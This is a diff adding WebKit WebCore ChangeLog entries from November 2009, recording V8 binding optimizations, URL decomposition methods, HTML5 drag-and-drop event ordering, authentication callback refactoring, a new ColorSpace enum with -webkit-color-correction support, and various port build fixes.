+        * css/CSSMutableStyleDeclaration.cpp:
+        (WebCore::CSSMutableStyleDeclaration::get4Values):
+        Display the summary information in the same way the shorthand would be
+        specified in a css rule.
+
+2009-11-11  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Make V8 bindings return NULL handles instead of calling v8::Undefined(). This has equivalent
+        meaning to the caller, saves code, and appears to save a few cycles at runtime too.
+        https://bugs.webkit.org/show_bug.cgi?id=31367
+
+        * bindings/scripts/CodeGeneratorV8.pm: Change "v8::Undefined()" to "v8::Handle<v8::Value>()"
+
+2009-11-11  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Optimize V8 getDOMNodeMap(), a hot function in Dromaeo DOM tests, by increasing inlining.
+
+        * bindings/v8/DOMData.cpp:
+        (WebCore::DOMData::getCurrent):  Moved getCurrentMainThread to MainThreadDOMData::getCurrent
+            so it can be inlined by its caller.
+        * bindings/v8/DOMData.h:
+        * bindings/v8/MainThreadDOMData.cpp:
+        (WebCore::MainThreadDOMData::getCurrent):  Moved here from DOMData.cpp.
+        (WebCore::MainThreadDOMData::getMainThreadStore):  Added UNLIKELY macro to improve codegen.
+        (WebCore::MainThreadDOMData::getCurrentMainThreadStore):  Combination of getCurrentMainThread
+            and getStore, which inline both calls together.
+        * bindings/v8/MainThreadDOMData.h:
+        (WebCore::MainThreadDOMData::getStore):  Broke out nonvirtual getMainThreadStore for inlineability.
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::getDOMNodeMap):  Call new getCurrentMainThreadStore, which is faster.
+
+2009-11-11  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add methods to KURLGoogle.cpp declared in http://trac.webkit.org/changeset/50784 but not defined when using KURLGoogle.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31357
+
+        * platform/KURLGoogle.cpp:
+        (WebCore::isSchemeFirstChar):
+        (WebCore::isSchemeChar):
+        (WebCore::KURL::hasPort):
+        (WebCore::KURL::removePort):
+        (WebCore::protocolIsValid):
+
+2009-11-11  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build fix, no reviewed.
+
+        Correct setPlatformFillColor and setPlatformStrokeColor calls
+        to match new ColorSpace-supporting signatures.
+
+        * platform/graphics/win/GraphicsContextCairoWin.cpp:  Add the
+          color space to the set[...]Color calls.
+
+2009-11-10  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31327
+        Clean up SocketStreamHandleClient interface
+
+        No change in behavior.
+
+        * platform/network/SocketStreamHandleClient.h: Removed willOpenStream and willSendData.
+        (WebCore::SocketStreamHandleClient::willOpenStream): Removed. This is currently not used by
+        the only client (WebSocketChannel), and it's not clear what this callback's semantics
+        should be.
+        (WebCore::SocketStreamHandleClient::willSendData): Ditto.
+        (WebCore::SocketStreamHandleClient::receivedCancellation): Removed, because it was misplaced.
+        For ResourceHandle, this method is called when the user cancels authentication sheet,
+        not when something happens with the stream.
+
+        * websockets/WebSocketChannel.h: Some WebSocketChannel methods were virtual without any
+        reason. Also, added didReceiveAuthenticationChallenge/didCancelAuthenticationChallenge.
+
+        * websockets/WebSocketChannel.cpp: Adjusted for the above change. Authentication-related
+        callbacks have no real implementation yet.
+
+2009-11-11  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for the part of page directory in WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=31350
+
+        Inherits the following classes from Noncopyable because these are instantiated
+        by 'new' and these are no need to be copyable:
+
+        class DragController         - instantiated at: WebCore/page/Page.cpp:107
+        class FocusController        - instantiated at: WebCore/page/Page.cpp:109
+        class Settings               - instantiated at: WebCore/page/Page.cpp:116
+        class PluginHalter           - instantiated at: WebCore/page/Page.cpp:160
+        struct ScheduledEvent        - instantiated at: WebCore/page/FrameView.cpp:1275
+        class UserScript             - instantiated at: WebCore/page/PageGroup.cpp:208
+        struct EventHandlerDragState - instantiated at: WebCore/page/EventHandler.cpp:182
+        class XSSAuditor             - instantiated at: WebCore/bindings/js/ScriptController.cpp:70
+        class UserStyleSheet         - instantiated at: WebCore/page/PageGroup.cpp:222
+
+        Inherits PropertyWrapperBase class from Noncopyable because (its child class) 
+        PropertyWrapper is instantiated by 'new' in 
+        WebCore/page/animation/AnimationBase.cpp:564 it is no need to be copyable.
+
+        * page/DragController.h:
+        * page/EventHandler.h:
+        * page/FocusController.h:
+        * page/FrameView.cpp:
+        * page/PluginHalter.h:
+        * page/Settings.h:
+        * page/UserScript.h:
+        * page/UserStyleSheet.h:
+        * page/XSSAuditor.h:
+        * page/animation/AnimationBase.cpp:
+
+2009-11-11  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31323
+        Fix a few compiler warnings
+
+        No new tests as there is no new functionality.
+
+        * editing/htmlediting.cpp:
+        (WebCore::isRenderedAsNonInlineTableImageOrHR): Use explicit
+        parentheses to silence gcc 4.4 -Wparentheses warnings
+
+2009-11-11  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Mark Rowe.
+
+        Set m_hasPendingGeometryChange to true by default, so that
+        at least one call to NPP_SetWindow is executed, which is
+        needed by the DRT plugin testing framework.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::PluginView):
+
+2009-11-11  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Rubber-stamped by Kenneth Rohde Christiansen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31348
+        [Qt] Remove unnecessary LUT creator from WebCore.pro
+
+        * WebCore.pro:
+
+2009-11-11  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Introduce a function for querying the input method status
+        in QWebPageClient.
+
+        * platform/qt/QWebPageClient.h:
+
+2009-11-11  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Jan Alonzo.
+
+        [GTK] Black artifacts in youtube.com/html5
+
+        Paint the video to the given size. It's the job of the callers to keep
+        track of aspect ratio. RenderVideo.cpp does it for the <video>
+        element.
+        https://bugs.webkit.org/show_bug.cgi?id=30925
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::paint):
+
+2009-11-11  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30901
+        [Gtk] Need to de-lint the Atk a11y code
+
+        Cleaned up some missed capitalization style-guideline violations.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+
+2009-11-11  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Make the default style background color valid.
+        Currently the color is transparent but invalid, this causes
+        list boxes in QtWebKit to be drawn with a black background
+        since r49242.
+        https://bugs.webkit.org/show_bug.cgi?id=31295
+
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::initialBackgroundColor):
+        * rendering/style/StyleBackgroundData.cpp:
+        (WebCore::StyleBackgroundData::StyleBackgroundData):
+
+2009-11-10  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Simplify the ownership model for worlds - rather than having a pair of weak references
+        between DOMWrapperWorld and ScriptController/ScriptCachedFrameData, give the latter an
+        ref pointer to the former.  This reduces complexity & cost of the caching entries in the
+        back forward cache.
+
+        * WebCore.base.exp:
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::DOMWrapperWorld::~DOMWrapperWorld):
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMWrapperWorld::forgetDocument):
+        * bindings/js/ScriptCachedFrameData.cpp:
+        (WebCore::ScriptCachedFrameData::ScriptCachedFrameData):
+        (WebCore::ScriptCachedFrameData::restore):
+        (WebCore::ScriptCachedFrameData::clear):
+        * bindings/js/ScriptCachedFrameData.h:
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::~ScriptController):
+        (WebCore::ScriptController::clearWindowShell):
+        (WebCore::ScriptController::initScript):
+        (WebCore::ScriptController::updateDocument):
+        * bindings/js/ScriptController.h:
+
+2009-11-10  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        rename counter to makeCounterNode in RenderCounter.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=31289
+
+        No new test because this is just a small refactoring.
+
+        * rendering/RenderCounter.cpp:
+        (WebCore::findPlaceForCounter):
+        (WebCore::makeCounterNode):
+        (WebCore::RenderCounter::originalText):
+
+2009-11-10  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30754
+
+        Patch 2 of 2.
+
+        Removed method EventHandler::dragSourceMovedTo, since it is no longer
+        needed. This method fired a drag event whenever the mouse moved, but
+        section 7.9.4 of the HTML 5 spec. defines the drag-and-drop processing
+        model independent of when the mouse moves. See "Among other changes..."
+        in the change log for patch 1 for more details.
+
+        * WebCore.DragSupport.exp:
+        * page/EventHandler.cpp: Removed method EventHandler::dragSourceMovedTo.
+        (WebCore::EventHandler::handleDrag): Updated comment about reentrancy issue.
+        * page/EventHandler.h:
+
+2009-11-10  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30754
+
+        Patch 1 of 2.
+
+        As per Section 7.9.4 of the HTML 5 spec. <http://dev.w3.org/html5/spec/Overview.html#drag-and-drop-processing-model>,
+        the drag event should always fire before the dragover event.
+
+        In fixing this bug, this patch also makes our drag processing model
+        conform to the HTML 5 spec.
+
+        Among the changes, this patch ensures that the drag event isn't fired outside
+        of the drag-and-drop processing loop, WebCore::EventHandler::updateDragAndDrop.
+        Currently, the drag event is fired whenever the mouse button is down and the OS
+        detects the mouse moved. But, as per the spec, the drag event should
+        fire approx. every 350ms so long as the mouse button is down.
+
+        Test: fast/events/drag-and-drop-fire-drag-dragover.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::clear):
+        (WebCore::EventHandler::canHandleDragAndDropForTarget): Formerly named handleDragAndDropForTarget.
+        Modified to determine when we are in the correct instance of EventHandler to service the drag
+        and drop operation.
+        (WebCore::EventHandler::updateDragAndDrop): Moved code from WebCore::EventHandler::dragSourceMovedTo
+        into this method.
+        (WebCore::EventHandler::cancelDragAndDrop):
+        (WebCore::EventHandler::performDragAndDrop):
+        (WebCore::EventHandler::clearDragState):
+        * page/EventHandler.h: Added field m_shouldOnlyFireDragOverEvent to determine whether
+        we should fire both drag and dragover events or only the dragover event.
+
+2009-11-10  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix crash in V8CustomXPathNSResolver (http://crbug.com/26726).
+        https://bugs.webkit.org/show_bug.cgi?id=31301
+
+        Tested by new fast/xpath/xpath-detached-iframe-resolver-crash.html.
+
+        Allowed passing V8Proxy for the calling JS context:
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::getXPathNSResolver):
+        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
+        (WebCore::V8CustomXPathNSResolver::create):
+        (WebCore::V8CustomXPathNSResolver::V8CustomXPathNSResolver):
+        (WebCore::V8CustomXPathNSResolver::lookupNamespaceURI):
+        * bindings/v8/custom/V8CustomXPathNSResolver.h:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-11-10  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Implement URL decomposition IDL attributes for HTMLAnchorElement.
+        https://bugs.webkit.org/show_bug.cgi?id=29972.
+
+        Add methods for setting different parts of the URL in href attribute.
+
+        Tests: fast/dom/HTMLAnchorElement/set-href-attribute-hash.html
+               fast/dom/HTMLAnchorElement/set-href-attribute-host.html
+               fast/dom/HTMLAnchorElement/set-href-attribute-hostname.html
+               fast/dom/HTMLAnchorElement/set-href-attribute-pathname.html
+               fast/dom/HTMLAnchorElement/set-href-attribute-port.html
+               fast/dom/HTMLAnchorElement/set-href-attribute-protocol.html
+               fast/dom/HTMLAnchorElement/set-href-attribute-search.html
+
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::JSLocation::setPort):
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::parsePortFromStringPosition):
+        (WebCore::HTMLAnchorElement::setHash):
+        (WebCore::HTMLAnchorElement::setHost):
+        (WebCore::HTMLAnchorElement::setHostname):
+        (WebCore::HTMLAnchorElement::setPathname):
+        (WebCore::HTMLAnchorElement::setPort):
+        (WebCore::HTMLAnchorElement::setProtocol):
+        (WebCore::HTMLAnchorElement::setSearch):
+        * html/HTMLAnchorElement.h:
+        * html/HTMLAnchorElement.idl:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::iconURL):
+        * platform/KURL.cpp:
+        (WebCore::KURL::removePort):
+        (WebCore::KURL::setPort):
+        (WebCore::KURL::prettyURL):
+        (WebCore::protocolIsValid):
+        * platform/KURL.h:
+        (WebCore::KURL::canSetHostOrPort):
+        (WebCore::KURL::canSetPathname):
+        (WebCore::KURL::hasPort):
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::):
+
+2009-11-10  Nate Chapin  <japhet@chromium.org>
+
+        Unreviewed, fix Chromium build after http://trac.webkit.org/changeset/50760.
+
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupContainer::paintBorder):
+        (WebCore::PopupListBox::paint):
+        (WebCore::PopupListBox::paintRow):
+        * platform/graphics/chromium/TransparencyWin.cpp:
+        (WebCore::TransparencyWin::setupLayerForWhiteLayer):
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::setPlatformFillColor):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::paintMediaSlider):
+        (WebCore::paintMediaVolumeSlider):
+        (WebCore::paintMediaTimelineContainer):
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::paintMenuListButton):
+
+2009-11-10  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Repro crash saving pcmag.com article as a webarchive.
+        <rdar://problem/7381219> and https://webkit.org/b/31322
+
+        Test: http/tests/webarchive/cross-origin-stylesheet-crash.html
+
+        * css/CSSStyleSheet.cpp:
+        (WebCore::CSSStyleSheet::addSubresourceStyleURLs): Walk the stylesheet itself instead
+          of creating a CSSRuleList (and subjecting ourselves to the security origin check)
+
+2009-11-10  Beth Dakin  <bdakin@apple.com>
+
+        Attempt 2 to fix Tiger build. No review needed.
+
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::deviceRGBColorSpaceRef):
+        (WebCore::sRGBColorSpaceRef):
+
+2009-11-10  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix. Changes needed after r50760.
+
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::GraphicsContext):
+        * platform/wx/wxcode/mac/carbon/non-kerned-drawing.cpp:
+        (WebCore::drawTextWithSpacing):
+
+2009-11-10  Alexey Proskuryakov  <ap@apple.com>
+
+        Qt build fix.
+
+        * platform/network/ResourceHandle.h: Only inherit from AuthenticationClient on platforms
+        that use ResourceHandle as a delegate (Mac, CFNetwork, Curl).
+
+2009-11-10  Beth Dakin  <bdakin@apple.com>
+
+        Tiger build fix. No review needed.
+
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::sRGBColorSpaceRef):
+
+2009-11-10  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31312
+        Decouple authentication panel callbacks from ResourceHandle
+
+        No change in functionality.
+
+        SocketStreamHandle also needs to request credentials, so it's not appropriate to store
+        ResourceHandle as delegate.
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * platform/network/AuthenticationClient.h: Added.
+        Added a new interface for listening to authentication panel notifications.
+
+        * WebCore.xcodeproj/project.pbxproj: Added AuthenticationClient.h. Let Visual Studio do what
+        it wants with the project file.
+
+        (WebCore::AuthenticationClient::ref): Using our usual method of exposing refcounting on an
+        interface class.
+        (WebCore::AuthenticationClient::deref): Ditto.
+
+        * platform/network/ResourceHandle.h:
+        (WebCore::ResourceHandle::refAuthenticationClient): Ditto.
+        (WebCore::ResourceHandle::derefAuthenticationClient): Ditto.
+
+        * platform/network/cf/AuthenticationCF.cpp:
+        (WebCore::AuthenticationChallenge::AuthenticationChallenge):
+        (WebCore::AuthenticationChallenge::platformCompare):
+        * platform/network/cf/AuthenticationChallenge.h:
+        (WebCore::AuthenticationChallenge::authenticationClient):
+        * platform/network/chromium/AuthenticationChallenge.h:
+        (WebCore::AuthenticationChallenge::authenticationClient):
+        * platform/network/curl/AuthenticationChallenge.h:
+        (WebCore::AuthenticationChallenge::authenticationClient):
+        Keeping a reference to AuthenticationClient, not to ResourceHandle.
+
+2009-11-10  Beth Dakin  <bdakin@apple.com>
+
+       Second attempted gtk build fix. No review needed.
+
+        * html/canvas/CanvasStyle.cpp:
+        (WebCore::CanvasStyle::applyStrokeColor):
+
+
+2009-11-10  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Fix back/forwards cache with JSC isolated worlds.
+        https://bugs.webkit.org/show_bug.cgi?id=31310
+        <rdar://problem/7328111> Cached back navigation doesn't restore global object in extension isolated world
+
+        Store the global object for all worlds, not just the normal world.
+        Also maintain bidirectional weak references between the ScriptCachedFrameData and the DOMWrapperWorld,
+        so we can forget global objects if a world goes away.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::DOMWrapperWorld::~DOMWrapperWorld):
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMWrapperWorld::rememberScriptCachedFrameData):
+        (WebCore::DOMWrapperWorld::forgetScriptCachedFrameData):
+        * bindings/js/ScriptCachedFrameData.cpp:
+        (WebCore::ScriptCachedFrameData::ScriptCachedFrameData):
+        (WebCore::ScriptCachedFrameData::forgetWorld):
+        (WebCore::ScriptCachedFrameData::domWindow):
+        (WebCore::ScriptCachedFrameData::restore):
+        (WebCore::ScriptCachedFrameData::clear):
+        * bindings/js/ScriptCachedFrameData.h:
+        * bindings/js/ScriptController.h:
+
+2009-11-10  Csaba Osztrogonác  <ossy@webkit.org>
+
+        [Qt] Unreviewed buildfix after r50760.
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::GraphicsContext):
+
+2009-11-10  Beth Dakin  <bdakin@apple.com>
+
+        Attempted build fix. (No review needed.)
+
+        * GNUmakefile.am: Adding ColorSpace.h
+
+2009-11-10  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by NOBODY - Build Fix.
+
+        Updated function calls to take a ColorSpace argument, passing
+        in DeviceColorSpace for now - this should be fixed. Also added
+        ColorSpace.h to WebCore project.
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * platform/graphics/win/FontCGWin.cpp:
+        (WebCore::Font::drawGlyphs):
+        * platform/graphics/win/GraphicsContextCGWin.cpp:
+        (WebCore::GraphicsContext::GraphicsContext):
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::paint):
+        * platform/win/WebCoreTextRenderer.cpp:
+        (WebCore::doDrawTextAtPoint):
+        * rendering/RenderThemeSafari.cpp:
+        (WebCore::RenderThemeSafari::paintMenuListButton):
+
+2009-11-10  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Optimizations to Element::getAttribute
+        https://bugs.webkit.org/show_bug.cgi?id=30926
+
+        * dom/Element.cpp:
+        (WebCore::Element::getAttribute):  User case-insensitive compare instead of lowercasing the name.
+        * dom/NamedAttrMap.cpp:
+        (WebCore::NamedNodeMap::getAttributeItem):  Avoid redundant compares, and do fast/likely compares first.
+        * platform/text/PlatformString.h:
+        (WebCore::equalPossiblyIgnoringCase):  New inline method, used by both of the above.
+
+2009-11-10  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for <rdar://problem/7059710> 
+        -and corresponding-
+        https://bugs.webkit.org/show_bug.cgi?id=31196 Implement -webkit-
+        color-correction for CSS colors
+
+        New exported symbol for GraphicsContext::fillColor() which now 
+        accepts a ColorSpace as an optional parameter.
+        * WebCore.base.exp:
+
+        Added a new file, ColorSpace.h, to define the ColorSpace enum.
+        * WebCore.xcodeproj/project.pbxproj:
+
+        Computed Style for -webkit-color-correction
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+
+        Parse -webkit-color-correction
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+
+       Map CSS identifiers to the appropriate values of the ColorSpace enum
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        (WebCore::CSSPrimitiveValue::operator ColorSpace):
+
+        New property -webkit-color-correction
+        * css/CSSPropertyNames.in:
+
+        Map -webkit-color-correction into the RenderStyle.
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+
+        Add new value sRGB.
+        * css/CSSValueKeywords.in:
+
+        Comment out the reference to sRGB since it will now be inherited as 
+        a value from CSSValueKeywords.
+        * css/SVGCSSValueKeywords.in:
+
+        Definition of the ColorSpace enum.
+        * platform/graphics/ColorSpace.h: Added.
+        (WebCore::):
+
+        These functions all now take a ColorSpace as a parameter.
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::setStrokeColor):
+        (WebCore::GraphicsContext::setFillColor):
+        (WebCore::GraphicsContext::drawHighlightForText):
+
+        Return the appropriate ColorSpace.
+        (WebCore::GraphicsContext::strokeColorSpace):
+        (WebCore::GraphicsContext::fillColorSpace):
+
+        These functions all call other functions which require a ColorSpace 
+        as a parameter.
+        (WebCore::GraphicsContext::setStrokePattern):
+        (WebCore::GraphicsContext::setFillPattern):
+        (WebCore::GraphicsContext::setStrokeGradient):
+        (WebCore::GraphicsContext::setFillGradient):
+
+        All of the GraphicsContext functions that take a Color should now 
+        also take a ColorSpace.
+        * platform/graphics/GraphicsContext.h:
+
+        Added new member variables stokeColorSpace and fillColorSpace.
+        * platform/graphics/GraphicsContextPrivate.h:
+        (WebCore::GraphicsContextState::GraphicsContextState):
+
+        Attempt to keep the Cairo port building with all of the massive 
+        changes to GraphicsContext.        
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::setPlatformFillColor):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        (WebCore::GraphicsContext::fillRoundedRect):
+
+        
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::sRGBColorSpaceRef): New static function that returns a 
+        CGColorSpaceRef for the sRGB color space.
+        (WebCore::deviceRGBColorSpaceRef): New static function that returns 
+        a CGColorSpaceRef for the device RGB color space.
+
+        (WebCore::setCGFillColor): Now takes a ColorSpace parameter and 
+        sets the fill color to the specified color in the given ColorSpace.
+        (WebCore::setCGStrokeColor): Same, but for stroke.
+
+        (WebCore::setCGFillColorSpace): New static to set the 
+        CGFillColorSpace to the given ColorSpace
+        (WebCore::setCGStrokeColorSpace): Same, but for stroke.
+
+        Send ColorSpaces when appropriate, set ColorSpaces when 
+        appropriate, and check ColorSpaces when appropriate.
+        (WebCore::GraphicsContext::GraphicsContext):
+        (WebCore::GraphicsContext::drawRect):
+        (WebCore::GraphicsContext::drawLine):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::strokeRect):
+        (WebCore::GraphicsContext::drawLineForText):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        (WebCore::GraphicsContext::setPlatformFillColor):
+
+        Attempt to keep Haiku building.
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        (WebCore::GraphicsContext::setPlatformFillColor):
+
+        Attempt to keep QT building.
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        (WebCore::GraphicsContext::setPlatformFillColor):
+
+        Attempt to keep Wince building.
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::setPlatformFillColor):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        (WebCore::GraphicsContext::clearRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::setPlatformShadow):
+
+        Attempt to keep WX building.
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        (WebCore::GraphicsContext::setPlatformFillColor):
+
+        Added functions colorSpace() and setColorSpace()
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::colorSpace):
+        (WebCore::InheritedFlags::setColorSpace):
+
+        The ColorSpace is stored here.
+        * rendering/style/StyleRareInheritedData.cpp:
+        (WebCore::StyleRareInheritedData::StyleRareInheritedData):
+        (WebCore::StyleRareInheritedData::operator==):
+        * rendering/style/StyleRareInheritedData.h:
+
+        All of these call sites call GraphicsContext functions which now 
+        require ColorSpaces.
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::paintCaret):
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::drawTextInternal):
+        * html/canvas/CanvasStyle.cpp:
+        (WebCore::CanvasStyle::applyStrokeColor):
+        (WebCore::CanvasStyle::applyFillColor):
+        * inspector/InspectorController.cpp:
+        (WebCore::drawOutlinedQuad):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::paintContents):
+        * platform/ScrollbarTheme.h:
+        (WebCore::ScrollbarTheme::paintScrollCorner):
+        * platform/ScrollbarThemeComposite.cpp:
+        (WebCore::ScrollbarThemeComposite::paintScrollCorner):
+        * platform/graphics/Image.cpp:
+        (WebCore::Image::fillWithSolidColor):
+        * platform/graphics/mac/FontMac.mm:
+        (WebCore::Font::drawGlyphs):
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::paint):
+        * rendering/EllipsisBox.cpp:
+        (WebCore::EllipsisBox::paint):
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::paintTextDecorations):
+        * rendering/InlineTextBox.cpp:
+        (WebCore::updateGraphicsContext):
+        (WebCore::paintTextWithShadows):
+        (WebCore::InlineTextBox::paint):
+        (WebCore::InlineTextBox::paintSelection):
+        (WebCore::InlineTextBox::paintCompositionBackground):
+        (WebCore::InlineTextBox::paintDecoration):
+        (WebCore::InlineTextBox::paintTextMatchMarker):
+        (WebCore::InlineTextBox::paintCompositionUnderline):
+        * rendering/InlineTextBox.h:
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::fillHorizontalSelectionGap):
+        (WebCore::RenderBlock::fillVerticalSelectionGap):
+        (WebCore::RenderBlock::fillLeftSelectionGap):
+        (WebCore::RenderBlock::fillRightSelectionGap):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        (WebCore::RenderBoxModelObject::paintBoxShadow):
+        * rendering/RenderFileUploadControl.cpp:
+        (WebCore::RenderFileUploadControl::paintObject):
+        * rendering/RenderFrameSet.cpp:
+        (WebCore::RenderFrameSet::paintColumnBorder):
+        (WebCore::RenderFrameSet::paintRowBorder):
+        * rendering/RenderImage.cpp:
+        (WebCore::RenderImage::paintReplaced):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paintScrollCorner):
+        (WebCore::RenderLayer::paintResizer):
+        * rendering/RenderListBox.cpp:
+        (WebCore::RenderListBox::paintItemForeground):
+        (WebCore::RenderListBox::paintItemBackground):
+        * rendering/RenderListMarker.cpp:
+        (WebCore::RenderListMarker::paint):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::drawLineForBoxSide):
+        (WebCore::RenderObject::drawArcForBoxSide):
+        * rendering/RenderReplaced.cpp:
+        (WebCore::RenderReplaced::paint):
+        * rendering/RenderScrollbarTheme.cpp:
+        (WebCore::RenderScrollbarTheme::paintScrollCorner):
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::paintMenuListButton):
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::paintBoxDecorations):
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::paint):
+        * rendering/SVGInlineTextBox.cpp:
+        (WebCore::SVGInlineTextBox::paintSelection):
+        * svg/graphics/SVGPaintServerGradient.cpp:
+        (WebCore::SVGPaintServerGradient::setup):
+        * svg/graphics/SVGPaintServerSolid.cpp:
+        (WebCore::SVGPaintServerSolid::setup):
+
